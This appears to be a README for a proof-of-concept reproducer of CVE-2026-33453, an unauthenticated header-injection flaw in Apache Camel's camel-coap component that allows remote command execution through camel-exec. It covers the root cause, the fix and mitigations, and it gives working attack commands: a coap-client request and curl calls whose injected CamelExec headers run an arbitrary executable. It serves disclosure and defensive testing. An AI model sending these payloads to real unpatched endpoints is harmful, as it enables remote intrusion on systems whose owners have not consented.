Exploit for Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Camel CVE-2026-33453

## https://sploitus.com/exploit?id=3DCADC07-8EAA-5D81-A046-58DE8E75C81E
# camel-coap Header Injection → RCE Vulnerability Reproducer (CVE-2026-33453)

This project demonstrates a **Camel message header injection** vulnerability in Apache Camel's
`camel-coap` component, tracked as **CVE-2026-33453**. An unauthenticated attacker who can send a
single CoAP UDP packet can inject arbitrary `Camel*` control headers into the Exchange, achieving
**remote code execution** when the route forwards to a header-sensitive producer such as `camel-exec`.

Advisory: https://camel.apache.org/security/CVE-2026-33453.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-coap` |
| **Affected Class** | `org.apache.camel.coap.CamelCoapResource` (`handleRequest`) |
| **Root cause** | CoAP URI query parameters copied into Exchange headers with no `HeaderFilterStrategy` |
| **CWE** | CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes |
| **Impact** | Remote Code Execution (via header-sensitive producers, e.g. camel-exec) |
| **Attack surface** | A single unauthenticated CoAP UDP datagram (default port 5683) |
| **Affected Versions** | From 4.14.0 before 4.14.6, and from 4.15.0 before 4.18.1 |
| **Fixed Versions** | 4.14.6, 4.18.1, 4.19.0 |
| **JIRA** | CAMEL-23222 |
| **Reporter** | Hyunwoo Kim (@v4bel) |

## Technical Details

In affected versions, `CamelCoapResource.handleRequest()` iterates over the CoAP request's URI query
options and copies each one into the Camel Exchange In headers, **without applying any
`HeaderFilterStrategy`**:

```java
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    String name  = (i == -1) ? s : s.substring(0, i);
    String value = (i == -1) ? "" : s.substring(i + 1);
    camelExchange.getIn().setHeader(name, value);   // NO HeaderFilterStrategy!
}
```

`CoAPEndpoint` extends `DefaultEndpoint` (not `DefaultHeaderFilterStrategyEndpoint`) and `CoAPComponent`
does not implement `HeaderFilterStrategyComponent`, so there is no filter at all. An attacker can
therefore set **any** header — including Camel-internal `Camel*` control headers — simply by adding
query parameters to the CoAP request URI.

When the route delivers the message to a header-sensitive producer, those headers change its
behaviour. For `camel-exec`, the `CamelExecCommandExecutable` and `CamelExecCommandArgs` headers
override the executable and arguments configured on the endpoint (honoured by default in the affected
versions), yielding arbitrary OS command execution. The command's stdout is written back into the
Exchange body and returned in the CoAP response, giving an interactive RCE channel.

## The victim route

```java
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);   // return stdout in the CoAP response
```

A benign request runs `echo hello`. An attacker overrides the command via injected headers.

## Prerequisites

- Java 17+
- Maven 3.8+

CoAP is UDP-based (RFC 7252) with no built-in authentication (DTLS is optional and disabled by
default), so **no external service or Docker container is required** — the reproducer app is both the
vulnerable CoAP server and a bundled attacker client (a raw client such as libcoap's `coap-client`
works too).

## Reproduction Steps

### Step 1: Build and Start

```bash
mvn clean package -DskipTests
mvn spring-boot:run
```

The app starts the vulnerable route on `coap://0.0.0.0:5683/run` and a helper REST controller on 8080.

### Step 2: Benign Request (sanity check)

```bash
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
```

### Step 3: Attack — inject exec-override headers via the CoAP URI query

```bash
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"

# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
```

Under the hood the bundled CoAP client sends a single datagram:

```
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
```

With a raw CoAP client instead:

```bash
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
```

### Step 4: Verify

```bash
ls -la /tmp/pwned
```

If `/tmp/pwned` exists, the injected header overrode the exec command → RCE.

## Attack Vectors

The injection only needs a header-sensitive producer downstream. The advisory lists, among others:

- **camel-exec** — `CamelExecCommandExecutable` / `CamelExecCommandArgs` → OS command execution
- **camel-file** — `CamelFileName` → arbitrary file write / path traversal
- **camel-sql** — query-control headers
- **camel-bean** — `CamelBeanMethodName` → invoke a different method
- **template components** (freemarker/velocity) — resource-selection headers

## Exploit Conditions

1. A Camel route consuming from `coap://...`.
2. The route forwards to (or is influenced by) a header-sensitive producer.
3. No `removeHeaders("Camel*")` between the CoAP consumer and that producer.

No authentication is required; a single UDP datagram to port 5683 suffices.

## Recommended Fix

The fix (CAMEL-23222) makes `CoAPEndpoint` carry a `HeaderFilterStrategy` and applies it in
`handleRequest()` before setting headers, so `Camel*`-prefixed names are filtered on the CoAP boundary
like every other transport:

```java
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
    camelExchange.getIn().setHeader(name, value);
}
```

## Mitigation

Until upgrading:

1. **Strip Camel headers** from CoAP-sourced messages: `.removeHeaders("Camel*")` right after the
   `from("coap:...")`.
2. **Avoid header-sensitive producers** downstream of untrusted CoAP input, or pin their configuration
   so headers cannot override it.
3. **Enable DTLS** (`coaps://`) with client authentication to restrict who can reach the endpoint.
4. **Network segmentation**: keep the CoAP port on a trusted network.

## Files

```
CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── CoapExecRoute.java        # the vulnerable victim route (coap -> exec)
    │   └── ExploitController.java    # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
    └── resources/
        └── application.properties
```

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly
disclosed and fixed** vulnerability. Do not use it against systems without explicit permission.